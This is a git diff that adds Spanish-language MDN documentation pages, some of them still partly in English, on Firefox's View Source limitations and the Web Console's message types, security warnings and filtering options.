+<p>Si haces clic con el botón contextual del ratón sobre algún <a href="/es/docs/Web/MathML">MathML</a>, <span id="result_box" lang="es"><span class="hps">verás un</span> item<span class="hps"> del menú contextual</span> <span class="atn hps">con la etiqueta "</span><span>Ver</span> <span class="hps">código fuente</span><span>"</span><span>:</span> haz<span class="hps"> clic en él</span> <span class="hps">para ver</span> <span class="hps">el código fuente</span> <span class="hps">MathML</span><span>.</span></span></p>
+
+<h2 id="Limitaciones_de_Ver_código_fuente">Limitaciones de Ver código fuente</h2>
+
+<p>Existen limitaciones en lo que hace Ver el código fuente algo que deberías tener en cuenta.</p>
+
+<h3 id="Informador_de_error_≠_validador">Informador de error ≠ validador</h3>
+
+<p>Ver código fuente sólo reporta errores de procesado, <strong>no</strong> valida errores en el código HTML. Por ejemplo, insertando un elemento {{ HTMLElement("div") }} como hijo de {{ HTMLElement("ul") }} no aparece como error de procesado, pero <strong>no es</strong> un HTML válido. <span id="result_box" lang="es"><span class="hps">Por lo tanto</span><span>,</span> <span class="hps">no</span> <span class="hps">se marcará</span> <span class="hps">este error en</span> <span class="hps">Ver código fuente.</span> <span class="hps">Si</span> <span class="hps">desea comprobar</span> <span class="hps">que el HTML</span> <span class="hps">es válido</span><span>, debe utilizar</span> <span class="hps">un validador</span> <span class="hps">HTML, como</span> <span class="hps">el <a href="http://validator.w3.org" lang="en">ofrecido por el W3C</a></span><span>.</span></span></p>
+
+<h3 id="No_se_reportan_todos_los_errores_de_procesado">No se reportan todos los errores de procesado</h3>
+
+<p><span id="result_box" lang="es"><span class="hps">A pesar de</span> <span class="hps">que todos los errores</span> <span class="hps">reportados son</span> <span class="hps">errores de análisis</span> <span class="hps">de acuerdo con la</span> <span class="hps">especificación de HTML</span><span>,</span> <span class="hps">no todos</span> <span class="hps">los errores</span> de procesado <span class="hps">son reportados por</span> <span class="hps">Ver código fuente.</span> <span class="hps">Entre los</span> <span class="hps">errores que</span> <span class="hps">no se </span><span class="hps">informan:</span></span></p>
+
+<ul>
+ <li><span id="result_box" lang="es"><span class="hps">Bytes</span> <span class="hps">que no son conformes</span> <span class="hps">según la</span> <span class="hps">codificación</span> <span class="hps">del</span> <span class="hps">documento no</span> <span class="hps">se marcan como</span> <span class="hps">errores</span><span>.</span></span></li>
+ <li><span id="result_box" lang="es"><span class="hps">Caracteres</span> <span class="hps">prohibidos</span> <span class="hps">no</span> <span class="hps">son reportados como</span> <span class="hps">errores</span><span>.</span></span></li>
+ <li>Errores relacionados con el final de fichero no se reportan.</li>
+ <li><span id="result_box" lang="es"><span class="hps">No</span> <span class="hps">se informa de errores</span> cuando se construye el árbol <span class="hps">relacionados con</span> <span class="hps">texto</span> <span class="hps">(en contraposición</span> <span class="hps">a las etiquetas</span><span>, comentarios o</span> <span class="hps">doctypes</span><span>)</span><span>.</span></span></li>
+ <li>Errores de procesado relacionados con los atributos <code>xmlns</code> tampoco son reportados.</li>
+</ul>
+
+<h2 id="Resaltado_de_sintaxis_XML">Resaltado de sintaxis XML</h2>
+
+<p><span id="result_box" lang="es"><span class="hps">Ver código</span> fuente <span class="hps">utiliza el</span> <span class="hps">tokenizer</span> <span class="hps">de HTML</span> <span class="hps">para resaltar la</span> <span class="hps">fuente</span> <span class="hps">XML</span><span>.</span> <span class="hps">Mientras que el</span> <span class="hps">tokenizer</span> implementa<span class="hps"> el procesamiento de</span> <span class="hps">instrucciones cuando</span> se resalta una <span class="hps">fuente</span> <span class="hps">XML</span><span>,</span> <span class="hps">esta</span> <span class="hps">es la única</span> <span class="hps">capacidad de</span> <span class="hps">XML</span> <span class="hps">prevista</span><span>.</span> <span class="hps">Debido a esto,</span> <span class="hps">doctypes</span> <span class="hps">que tienen un</span> <span class="hps">subconjunto interno</span> <span class="hps">no se resaltan</span> <span class="hps">correctamente,</span> <span class="hps">y</span> <span class="hps">referencias de entidad</span> <span class="hps">a</span> <span class="hps">entidades personalizadas</span> tampoco <span class="hps">no se resaltan</span> <span class="hps">correctamente.</span></span></p>
+
+<p>Este resaltado defectuoso se puede observar si se ve el código fuente de los archivos chrome de Firefox (como los documentos XUL). </p>
+
+<p><span id="result_box" lang="es"><span class="hps">Sin embargo</span><span>, esto no debería</span> <span class="hps">ser un</span> <span class="hps">problema en la práctica</span> <span class="hps">cuando se ven</span> <span class="hps">los archivos XML</span> <span class="hps">típicos.</span></span></p>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li><a class="external" href="http://hsivonen.iki.fi/view-source/" lang="en" title="http://hsivonen.iki.fi/view-source/">HTML5 Parser-Based View Source Syntax Highlighting</a> (Artículo de blog)</li>
+</ul>
+
+<p>{{ languages( { "ja": "ja/View_source"} ) }}</p>
diff --git a/files/es/tools/web_console/console_messages/index.html b/files/es/tools/web_console/console_messages/index.html
new file mode 100644
index 0000000000..102a69d2ef
--- /dev/null
+++ b/files/es/tools/web_console/console_messages/index.html
@@ -0,0 +1,391 @@
+---
+title: Consola de mensajes
+slug: Tools/Web_Console/Console_messages
+tags:
+  - Consola
+  - Herramientas
+  - Herramientas de desarrollo
+translation_of: Tools/Web_Console/Console_messages
+---
+<p dir="ltr">La mayor parte de la Consola Web está ocupada por el panel de visualización de mensaje:</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/11661/web-console-message-pane.png" style="display: block; height: 335px; margin-left: auto; margin-right: auto; width: 952px;"></p>
+
+<p>Cada mensaje se muestra como una fila separada</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/5585/web-console-message-annotated.png" style="display: block; margin-left: auto; margin-right: auto;"></p>
+
+<table class="fullwidth-table standard-table">
+ <tbody>
+  <tr>
+   <td><strong>Tiempo</strong></td>
+   <td>La hora a la que se registró el mensaje. Esto no se muestra por defecto: Usted puede ver el tiempo marcado usando una configuracion en la <a href="/en-US/docs/barradeherramientas">barra de herramientas</a></td>
+  </tr>
+  <tr>
+   <td><strong>Categoria</strong></td>
+   <td>
+    <p><strong>Categoria</strong>: Esta indicacion nos revela de que trata el mensaje:</p>
+
+    <ul style="margin-left: 40px;">
+     <li><strong>Negro</strong>: Solicitud de red</li>
+     <li><span style="color: #0099ff;"><strong>Azul</strong></span>: CSS advertencia/error/registro</li>
+     <li><strong><span style="color: #ff8c00;">Naranja</span></strong>: JavaScript advertencia/error</li>
+     <li><span style="color: #ff0000;"><strong>Rojo</strong></span>: Advertencia de seguridad/error</li>
+     <li><span style="color: #90b090;"><strong>Verde</strong></span>: Registro de servidor</li>
+     <li><span style="color: #a9a9a9;"><strong>Gris claro</strong></span>: <a href="/en-US/docs/console">Consola</a> API mensajes</li>
+     <li><span style="color: #696969;"><strong>Gris oscuro</strong></span>: de entrada/salida desde el <a href="/en-US/docs/Tools/Web_Console/The_command_line_interpreter">intérprete de línea de Comando</a></li>
+    </ul>
+   </td>
+  </tr>
+  <tr>
+   <td><strong>Tipo</strong></td>
+   <td>Para todos los mensajes excepto solicitud de red y entrada interectiva/salida de un icono de un error(X), una advertencia(!) o un mensaje informativo de registro (i).</td>
+  </tr>
+  <tr>
+   <td><strong>Mensaje</strong></td>
+   <td>El cuerpo del mensaje.</td>
+  </tr>
+  <tr>
+   <td><strong>Número de apariciones</strong></td>
+   <td>Si una línea que genera una advertencia o error que ha sido ejecutado por mas de una vez, sólo se registra una vez y este contador parece indicar cuántas veces se encontró.</td>
+  </tr>
+  <tr>
+   <td><strong>Nombre y número de línea</strong></td>
+   <td>
+    <p>Para JavaScript, CSS y los mensajes de consola de la API el mensaje se puede rastrear a una línea de código específica. La consola proporciona un enlace con el nombre del archivo y el número de línea que generó el mensaje.</p>
+
+    <p>A partir de Firefox 36, esto incluye también el número de columna.</p>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<p>De forma predeterminada, la consola se borra cada vez que navega a una nueva página o vuevle a cargar la página actual. Para cambiar este comportamiento, comprueba "Activar registros persistentes" en la  <a href="/en-US/docs/Tools_Toolbox#Common_preferences">Configuración</a>.</p>
+
+<h2 id="Categorías_de_los_mensajes">Categorías de los mensajes</h2>
+
+<h3 id="Red">Red</h3>
+
+<div class="note">
+<p>Los mensajes de registro de la red no se muestran por defecto. Utiliza la función de <a href="/en-US/docs/Tools/Web_Console/Console_messages#Filtering_by_category">filtrar</a> para mostrarlos</p>
+</div>
+
+<p>Las solicitudes de red están conectadas con una línea que tiene este aspecto:</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/5593/web-console-message-request-annotated.png" style="display: block; margin-left: auto; margin-right: auto;"></p>
+
+<table class="fullwidth-table standard-table">
+ <tbody>
+  <tr>
+   <td><strong>Time</strong></td>
+   <td>La hora a la que se registró el mensaje.</td>
+  </tr>
+  <tr>
+   <td><strong>Category</strong></td>
+   <td>Indica que el mensaje es una solicitud HTTP.</td>
+  </tr>
+  <tr>
+   <td><strong>Method</strong></td>
+   <td>
+    <p>El método específico de la petición HTTP.</p>
+
+    <p>Si la petición se hizo como una <a href="/en-US/docs/Web/API/XMLHttpRequest">XMLHttpRequest</a>, hay una nota adicional que indica ésto:</p>
+
+    <p><img alt="" src="https://mdn.mozillademos.org/files/10167/web-console-xhr.png" style="display: block; height: 51px; margin-left: auto; margin-right: auto; width: 648px;"></p>
+   </td>
+  </tr>
+  <tr>
+   <td><strong>URI</strong></td>
+   <td>El URI de destino.</td>
+  </tr>
+  <tr>
+   <td><strong>Summary</strong></td>
+   <td>La versión de HTTP, código de estado, y el tiempo que tarda en completarse.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h4 id="Revisando_los_detalles_de_la_petición_de_red">Revisando los detalles de la petición de red</h4>
+
+<p>Si hace clic en el mensaje, se le redirige al <a href="/en-US/docs/Tools/Network_Monitor">Panel de Red</a> donde se selecciona la petición y más detalles de la petición y la respuesta se muestran en el panel lateral en el lado derecho.</p>
+
+<p>Puedes acceder a este detalla en linea, sin dejar la Consola Web. Las entradas de peticiones de red obtienen una flecha a su lado. Clícala par ver:</p>
+
+<p>Encabezados: encabezados de petición y respuesta.</p>
+
+<p>Respuesta: el cuerpo de la respuesta</p>
+
+<p>Cookies: cualquier cookie que fuera enviada junto con la solicitud.</p>
+
+<h3 id="JS">JS</h3>
+
+<p>Los mensajes de JavaScript tienen el siguiente aspecto:</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/7101/js-error-annotated.png" style="display: block; margin-left: auto; margin-right: auto;"></p>
+
+<h3 id="CSS">CSS</h3>
+
+<div class="note">
+<p>CSS warnings and reflow messages are not shown by default. Use the <a href="/en-US/docs/Tools/Web_Console/Console_messages#Filtering_by_category">filtering</a> feature to show them.</p>
+</div>
+
+<p>Los mensajes CSS tienen el siguiente aspecto:</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/5585/web-console-message-annotated.png" style="display: block; margin-left: auto; margin-right: auto;"></p>
+
+<h4 id="Eventos_de_reflujo_Reflow_events">Eventos de reflujo (Reflow events)</h4>
+
+<p>La consola Web también registra los eventos de reflujo en la categoría de CSS. Un reflujo es el nombre que se da a la operación en la que el navegador calcula la distribución de la totalidad o parte de la página. Los reflujos se producen cuando ocurre un cambio en una página y el navegador cree que afecta al diseño. Muchos eventos pueden desencadenar reflujos,  incluso: cambiar el tamaño de la ventana del navegador, activar las pseudoclases como: <a href="/en-US/docs/Web/CSS/:hover">hover</a>, o manipular el DOM en JavaScript.</p>
+
+<p>Debido a que los reflujos pueden ser computacionalmente costosos y afectar directamente a la interfaz de usuario, pueden tener un gran impacto en la capacidad de respuesta de un sitio web o aplicación web. Mediante el registro de eventos de reflujo la consola Web le puede dar una idea de cuando se activan los eventos de reflujo, el tiempo que tardan en ejecutarse y, si los reflujos son <a href="/en-US/docs/Tools/Web_Console/Console_messages#Synchronous_and_asynchronous_reflows">reflujos sínronos</a> <span id="ouHighlight__39_47TO35_43">activados</span><span id="noHighlight_0.171338285947087"> </span><span id="ouHighlight__49_52TO45_49">desde</span><span id="noHighlight_0.9176767211697917"> </span><span id="ouHighlight__54_63TO51_60">JavaScript</span><span id="noHighlight_0.15245612256799834">,</span><span id="noHighlight_0.6146070317208301"> </span><span id="ouHighlight__66_70TO63_66">cuyo</span><span id="noHighlight_0.7150414780955989"> </span><span id="ouHighlight__72_75TO68_73">código</span><span id="noHighlight_0.46273609600296195"> </span><span id="ouHighlight__87_90TO75_77">les</span><span id="noHighlight_0.04020396857638897"> </span><span id="ouHighlight__77_85TO79_85">dispara</span><span id="noHighlight_0.23969500573306946">.</span>.</p>
+
+<p>Los eventos de reflujo se registran como mensajes "Reflow", a diferencia de los errores CSS o advertencias. De forma predeterminada, están deshabilitados. Puede activarlos haciendo clic en el botón "CSS" en la <a href="/en-US/docs/Tools/Web_Console/Console_messages#Filtering_by_category">barra de herramientasr</a> y seleccionar "Reflows".</p>
+
+<p>Cada mensaje está marcado como "reflujo" y muestra el tiempo necesario para ejecutarse:</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/6365/web-console-reflow-asynch.png" style="display: block; height: 53px; margin-left: auto; margin-right: auto; width: 554px;">Si el reflujo es un reflujo síncrono accionado desde JavaScript, también muestra un enlace a la línea de código que lo provocó:</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/6367/web-console-reflow-synch.png" style="display: block; height: 51px; margin-left: auto; margin-right: auto; width: 554px;">Haga clic en el enlace para abrir el archivo en el <a href="/en-US/docs/Tools/Debugger">Debugger</a>.</p>
+
+<h4 id="Reflujos_síncronos_y_asíncronos"><a name="synchronous-and-asynchronous-reflows">Reflujos síncronos y asíncronos</a></h4>
+
+<p>Si se hace un cambio que invalida el diseño actual  - por ejemplo, la ventana del navegador cambia de tamaño o desdea JavaScript se modifica el CSS de un elemento - el diseño no se vuelve a calcular inmediatamente. En cambio, el reflujo ocurre de forma asíncrona, la próxima vez que el navegador decide que hay que hacer (en general, la próxima vez que el navegador vuelve a pintar). De esta manera, el navegador puede ahorrar un conjunto de cambios que invalidan y recalcular su efecto a la vez.</p>
+
+<p>Sin embargo, si algún código JavaScript lee un estilo que se ha modificado, a continuación, el navegador debe realizar una reflujo sincrónico con el fin de calcular el estilo computarizado a devolver. Por ejemplo, un código como éste provocará de inmediato un reflujo síncrono cuando se llame a <code>window.getComputedStyle(thing).height</code>:</p>
+
+<pre class="brush: js notranslate">var thing = document.getElementById("the-thing");
+thing.style.display = "inline-block";
+var thingHeight = window.getComputedStyle(thing).height;</pre>
+
+<div class="es" id="OutputArea" style="direction: ltr; text-align: left;">
+<div class="Wrap" id="OutputText" style="direction: ltr; text-align: left;">
+<div><span id="ouHighlight__0_9TO0_7">Debido a</span><span id="noHighlight_0.5080495377710348"> </span><span id="ouHighlight__11_14TO9_12">esto</span><span id="noHighlight_0.27660277495974706">,</span><span id="noHighlight_0.7014250788747086"> </span><span id="ouHighlight__17_20TO15_16">es</span><span id="noHighlight_0.8477552875134879"> </span><span id="ouHighlight__22_22TO18_20">una</span><span id="noHighlight_0.3077554454245065"> </span><span id="ouHighlight__24_27TO22_26">buena</span><span id="noHighlight_0.520335799909469"> </span><span id="ouHighlight__29_32TO28_31">idea</span><span id="noHighlight_0.5819655685356027"> </span><span id="ouHighlight__34_35TO33_36">para</span><span id="noHighlight_0.5366314914815862"> </span><span id="ouHighlight__37_41TO38_43">evitar</span><span id="noHighlight_0.4977607827883951"> la </span><span id="ouHighlight__43_54TO48_60">interpolación</span><span id="noHighlight_0.6059269045169466"> de la </span><span id="ouHighlight__56_60TO68_76">escritura</span><span id="noHighlight_0.33691265646783897"> </span><span id="ouHighlight__62_64TO78_78">y</span><span id="noHighlight_0.18550086187907766"> </span><span id="ouHighlight__66_69TO80_83">leer</span><span id="noHighlight_0.11440921100749979"> </span><span id="ouHighlight__71_75TO85_92">llamadas</span><span id="noHighlight_0.18346951849610216"> </span><span id="ouHighlight__77_78TO94_94">a</span><span id="noHighlight_0.8173881044979314"> los </span><span id="ouHighlight__93_98TO100_106">estilos</span><span id="noHighlight_0.7372463059156626"> </span><span id="ouHighlight__83_91TO108_109">de</span><span id="noHighlight_0.25672890219068567"> </span><span id="ouHighlight__80_81TO111_112">un</span><span id="noHighlight_0.5722843891711001"> </span><span id="ouHighlight__83_91TO114_121">elemento</span><span id="noHighlight_0.9651635901078331"> </span><span id="ouHighlight__100_103TO123_124">al</span><span id="noHighlight_0.6756293244240998"> </span><span id="ouHighlight__105_116TO126_134">manipular</span><span id="noHighlight_0.15856259142986695"> </span><span id="ouHighlight__118_120TO136_137">el</span><span id="noHighlight_0.17549086719617357"> </span><span id="ouHighlight__122_124TO139_147">árbol DOM</span>, porque cada vez que vuelve a leer un estilo que ha sido invalidado por una llamada de escritura anterior, se fuerza un reflujo síncrono.</div>
+
+<div></div>
+</div>
+</div>
+
+<h3 id="Security">Security</h3>
+
+<p>Security warnings and errors look like this:</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/7107/sec-error-annotated.png" style="display: block; margin-left: auto; margin-right: auto;">The security messages shown in the Web Console help developers find potential or actual vulnerabilities in their sites. Additionally, many of these messages help educate developers because they end with a “Learn More” link that takes you to a page with background information and advice for mitigating the issue.</p>
+
+<p>The complete list of security messages is as follows:</p>
+
+<table class="standard-table" style="width: auto;">
+ <tbody>
+  <tr>
+   <th scope="col">Message</th>
+   <th scope="col">Details</th>
+  </tr>
+  <tr>
+   <td>Blocked loading mixed active content</td>
+   <td>The page contained mixed active content: that is, the main page was served over HTTPS, but asked the browser to load "active content", such as scripts, over HTTP. The browser blocked this active content. See <a href="/en-US/docs/Security/MixedContent">Mixed Content</a> for more details.</td>
+  </tr>
+  <tr>
+   <td>Blocked loading mixed display content</td>
+   <td>The page contained mixed display content: that is, the main page was served over HTTPS, but asked the browser to load "display content", such as images, over HTTP. The browser blocked this display content. See <a href="/en-US/docs/Security/MixedContent">Mixed Content</a> for more details.</td>
+  </tr>
+  <tr>
+   <td>Loading mixed (insecure) active content on a secure page</td>
+   <td>The page contained mixed active content: that is, the main page was served over HTTPS, but asked the browser to load "active content", such as scripts, over HTTP. The browser loaded this active content. See <a href="/en-US/docs/Security/MixedContent">Mixed Content</a> for more details.</td>
+  </tr>
+  <tr>
+   <td>Loading mixed (insecure) display content on a secure page</td>
+   <td>The page contained mixed display content: that is, the main page was served over HTTPS, but asked the browser to load "display content", such as images, over HTTP. The browser loaded this display content. See <a href="/en-US/docs/Security/MixedContent">Mixed Content</a> for more details.</td>
+  </tr>
+  <tr>
+   <td>This site specified both an X-Content-Security-Policy/Report-Only header and a Content-Security-Policy/Report-Only header. The X-Content-Security-Policy/Report-Only header(s) will be ignored.</td>
+   <td>See <a href="/en-US/docs/Security/CSP">Content Security Policy</a> for more details.</td>
+  </tr>
+  <tr>
+   <td>The X-Content-Security-Policy and X-Content-Security-Report-Only headers will be deprecated in the future. Please use the Content-Security-Policy and Content-Security-Report-Only headers with CSP spec compliant syntax instead.</td>
+   <td>See <a href="/en-US/docs/Security/CSP">Content Security Policy</a> for more details.</td>
+  </tr>
+  <tr>
+   <td>Password fields present on an insecure (http://) page. This is a security risk that allows user login credentials to be stolen.</td>
+   <td>Pages containing login forms must be served over HTTPS, not HTTP.</td>
+  </tr>
+  <tr>
+   <td>Password fields present in a form with an insecure (http://) form action. This is a security risk that allows user login credentials to be stolen.</td>
+   <td>Forms containing password fields must submit them over HTTPS, not HTTP.</td>
+  </tr>
+  <tr>
+   <td>Password fields present on an insecure (http://) iframe. This is a security risk that allows user login credentials to be stolen.</td>
+   <td>iframes containing login forms must be served over HTTPS, not HTTP.</td>
+  </tr>
+  <tr>
+   <td>The site specified an invalid Strict-Transport-Security header.</td>
+   <td>See <a href="/en-US/docs/Security/HTTP_Strict_Transport_Security">HTTP Strict Transport Security</a> for more details.</td>
+  </tr>
+  <tr>
+   <td>
+    <p>This site makes use of a SHA-1 Certificate; it's recommended you use certificates with signature algorithms that use hash functions stronger than SHA-1.</p>
+   </td>
+   <td>
+    <p>The site uses a certificate whose signature uses the SHA-1 hash algorithm.</p>
+
+    <p>SHA-1 is still still widely used in certificates, but it is starting to show its age. Web sites and Certification Authorities are encouraged to switch to stronger hash algorithms in future. See the <a href="/en-US/docs/Security/Weak_Signature_Algorithm">Weak Signature Algorithm</a> article for more details.</p>
+
+    <p>Note that the SHA-1 certificate may not be your site's own certificate, but may be the certificate belonging to a Certification Authority that was used to sign your site's certificate.</p>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<p><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=863874">Bug 863874</a> is the meta-bug for logging relevant security messages to the Web Console. If you have more ideas for useful features like the ones discussed here, or are interested in contributing, check out the metabug and its dependencies.</p>
+
+<h3 id="Logging">Logging</h3>
+
+<div class="note">
+<p>Messages logged from <a href="/en-US/docs/Web/API/SharedWorker">Shared Workers</a>, <a href="/en-US/docs/Web/API/ServiceWorker_API">Service Workers</a>, add-ons, and <a href="/en-US/docs/Mozilla/ChromeWorkers">Chrome Workers</a> are not shown by default. Use the <a href="/en-US/docs/Tools/Web_Console/Console_messages#Filtering_by_category">filtering</a> feature to show them.</p>
+</div>
+
+<p>The Logging category includes messages logged using the <a href="/en-US/docs/Web/API/Console">Console</a> API.<br>
+ <img alt="" src="https://mdn.mozillademos.org/files/7105/console-api-message-annotated.png" style="display: block; margin-left: auto; margin-right: auto;"></p>
+
+<p>The Web console supports the following Console messages:</p>
+
+<ul>
+ <li>Error messages
+  <ul>
+   <li><a href="/en-US/docs/Web/API/Console.error"><code>error()</code></a></li>
+   <li><a href="/en-US/docs/Web/API/Console.exception"><code>exception()</code></a></li>
+   <li><a href="/en-US/docs/Web/API/Console.assert"><code>assert()</code></a> (when the assertion fails)</li>
+  </ul>
+ </li>
+ <li>Warning messages
+  <ul>
+   <li><a href="/en-US/docs/Web/API/Console.warn"><code>warn()</code></a></li>
+  </ul>
+ </li>
+ <li>Informational messages
+  <ul>
+   <li><a href="/en-US/docs/Web/API/Console.count"><code>count()</code></a></li>
+   <li><a href="/en-US/docs/Web/API/Console.dir"><code>dir()</code></a></li>
+   <li><a href="/en-US/docs/Web/API/Console.dirxml"><code>dirxml()</code></a></li>
+   <li><a href="/en-US/docs/Web/API/Console.info"><code>info()</code></a></li>
+   <li><a href="/en-US/docs/Web/API/Console.log"><code>log()</code></a></li>
+   <li><a href="/en-US/docs/Web/API/Console.table"><code>table()</code></a></li>
+   <li><a href="/en-US/docs/Web/API/Console.time"><code>time()</code></a></li>
+   <li><a href="/en-US/docs/Web/API/Console.timeEnd"><code>timeEnd()</code></a></li>
+   <li><a href="/en-US/docs/Web/API/Console.trace"><code>trace()</code></a></li>
+  </ul>
+ </li>
+</ul>
+
+<p>The console prints a stack trace for all error messages, like this:</p>
+
+<pre class="brush: js notranslate">function foo() {
+  console.error("it explodes");
+}
+
+function bar() {
+  foo();
+}
+
+function doStuff() {
+ bar();
+}
+
+doStuff();</pre>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/11665/error-stack.png" style="display: block; height: 92px; margin-left: auto; margin-right: auto; width: 465px;"></p>
+
+<h3 id="Server">Server</h3>
+
+<div class="geckoVersionNote">
+<p>New in Firefox 43</p>
+</div>
+
+<div class="note">
+<p>Server-side log messages are not shown by default. Use the <a href="/en-US/docs/Tools/Web_Console/Console_messages#Filtering_by_category">filtering</a> feature to show them.</p>
+</div>
+
+<p>From Firefox 43, the Web Console can display messages sent from the server. This enables you to use the Web Console to debug server-side code.</p>
+
+<p>It uses the <a href="https://craig.is/writing/chrome-logger">Chrome Logger</a> protocol. Briefly, the way it works is:</p>
+
+<ul>
+ <li>your server-side code - Python, PHP, Node.js, ... - includes a library that provides a console API</li>
+ <li>your server-side code uses this API to log messages</li>
+ <li>the server-side library creates JSON objects from the messages and encodes them for transmission</li>
+ <li>the messages are transmitted to the client as a response header named <code>X-ChromeLogger-Data</code></li>
+ <li>the Web Console decodes these headers and displays them</li>
+</ul>
+
+<p>To find a suitable library for your server code, see the <a href="https://craig.is/writing/chrome-logger">Chrome Logger documentation</a>.</p>
+
+<h3 id="Command_line_inputoutput">Command line input/output</h3>
+
+<p>Commands sent to the browser using the <a href="/en-US/docs/Tools/Web_Console/The_command_line_interpreter" title="#command-line">Web Console's command line</a>, and the corresponding responses, are logged using lines like this:</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/5587/web-console-message-input-output.png" style="display: block; height: 68px; margin-left: auto; margin-right: auto; width: 554px;">The dark gray bar indicates that these are input/output messages, while the direction of the arrow discriminates between input and output.</p>
+
+<h2 id="Filtro_y_búsqueda"><a name="filtering-and-searching">Filtro y búsqueda</a></h2>
+
+<h3 id="Filtrando_por_categoría">Filtrando por categoría</h3>
+
+<p>You can use the toolbar along the top to constrain the results displayed.</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/11667/message-filters.png" style="display: block; height: 335px; margin-left: auto; margin-right: auto; width: 952px;">To see only messages of particular categories, click the button labeled with that category ("Net", "CSS", and so on). Clicking the main part of the button toggles that category on or off, while clicking the arrow on the right gives you more fine-grained filter options within that category:</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Category</th>
+   <th scope="col">Options</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>Net</td>
+   <td>Errors<br>
+    Warnings<br>
+    XHR<br>
+    Log</td>
+  </tr>
+  <tr>
+   <td>CSS</td>
+   <td>Errors<br>
+    Warnings<br>
+    Reflows</td>
+  </tr>
+  <tr>
+   <td>JS</td>
+   <td>Errors<br>
+    Warnings</td>
+  </tr>
+  <tr>
+   <td>Security</td>
+   <td>Errors<br>
+    Warnings</td>
+  </tr>
+  <tr>
+   <td>Logging</td>
+   <td>Errors<br>
+    Warnings<br>
+    Info<br>
+    Log<br>
+    Shared Worker<br>
+    Service Workers<br>
+    Add-on or Chrome Workers</td>
+  </tr>
+  <tr>
+   <td>Server</td>
+   <td>Errors<br>
+    Warnings<br>
+    Info<br>
+    Log</td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="Filtering_by_text">Filtering by text</h3>
+
+<p>To see only messages that contain a specific string, type in the text box labeled "Filter output".</p>
+
+<h3 id="Clearing_the_log">Clearing the log</h3>
+
+<p>Finally, you can use this toolbar to clear the log.</p>
diff --git a/files/es/tools/web_console/index.html b/files/es/tools/web_console/index.html
new file mode 100644
index 0000000000..d328e31365
--- /dev/null
+++ b/files/es/tools/web_console/index.html
@@ -0,0 +1,349 @@
+---
+title: Consola Web
+slug: Tools/Web_Console
+tags:
+  - Debugging
+  - Guide
+  - NeedsTranslation
+  - Security
+  - Tools
+  - TopicStub
+  - Web Development
+  - 'Web Development:Tools'
+  - web console
+translation_of: Tools/Web_Console
+---
+<p>La Consola Web:</p>
+
+<ol>
+ <li>Muestra la informacion asociada con los Logs de la pagina Web: cualquier solicitud de red, JavaScript, CSS, y errores de seguridad y advertencias, asi como tambien, advertencias, mensajes informativos explicitamente generados por Javascripten tiempo de ejecucion dentro del contexto de la pagina.</li>
+ <li>te permite interactuar con la pagina ejecutando expresiones Javascript en el contexto de la página.</li>
+</ol>
+
+<p>It's part of the replacement for the old <a href="/en/Error_Console" title="en/Error Console">Error Console</a> built into Firefox: but the Error Console showed errors, warnings, and messages from all web pages, from the browser's own code, and from add-ons. This makes it much more difficult to see which messages are relevant to a specific page. The Web Console is always associated with a specific web page and only shows information associated with that page.</p>
+
+<p>The other half of the replacement for the Error console is the <a href="/en-US/docs/Tools/Browser_Console" title="/en-US/docs/Tools/Browser_Console">Browser Console</a>, which shows errors, warnings, and messages from the browser's code and from add-ons.</p>
+
+<p>{{EmbedYouTube("C6Cyrpkb25k")}}</p>
+
+<h2 id="Abriendo_la_Consola_WEB">Abriendo la Consola WEB</h2>
+
+<p>To open the Web Console select "Web Console" from the Web Developer submenu in the Firefox Menu (or Tools menu if you display the menu bar or are on Mac OS X), or by pressing its Control-Shift-K (Command-Option-K on the Mac) keyboard shortcut.</p>
+
+<p>The <a href="https://developer.mozilla.org/en-US/docs/Tools/DevTools_Window" title="/en-US/docs/Tools/DevTools_Window">Toolbox</a> will appear at the bottom of the browser window, with the Web Console activated (it's just called "Console" in the <a href="/en-US/docs/Tools/DevTools_Window#Toolbar" title="/en-US/docs/Tools/DevTools_Window#Toolbar">DevTools toolbar</a>):</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/5581/web-console.png" style="display: block; margin-left: auto; margin-right: auto;"></p>
+
+<p>Underneath the <a href="/en-US/docs/Tools/DevTools_Window#Toolbar" title="/en-US/docs/Tools/DevTools_Window#Toolbar">DevTools Window's own toolbar</a>, the Web Console's interface is split into three sections:</p>
+
+<ul>
+ <li><a href="#filtering-and-searching" title="#filtering-and-searching">Toolbar</a>: along the top is a toolbar containing buttons with labels like "Net", "CSS", and "JS". This toolbar is used to filter which messages are displayed</li>
+ <li><a href="#command-line" title="#command-line">Command Line</a>: along the bottom is a command line that you can use to enter JavaScript expressions</li>
+ <li><a href="#message-display-pane" title="#message-display-pane">Message Display Pane</a>: in between the toolbar and the command line, and occupying most of the window, is the space in which the Web Console displays messages</li>
+</ul>
+
+<h2 id="Message_Display_Pane"><a name="message-display-pane">Message Display Pane</a></h2>
+
+<p>Most of the Web Console is occupied by the message display pane:</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/5599/web-console-messages-highlighted.png" style="display: block; margin-left: auto; margin-right: auto;"></p>
+
+<p>The message display pane displays the following sorts of messages:</p>
+
+<ul>
+ <li>HTTP requests</li>
+ <li>Warnings and errors (including JavaScript, CSS, security warnings and errors, and messages explicitly logged by JavaScript code using the <a href="/en-US/docs/Web/API/console" title="/en-US/docs/Web/API/console">console</a> API)</li>
+ <li>Input/output messages: commands send to the browser via the Web Console's command line, and the result of executing them.</li>
+</ul>
+
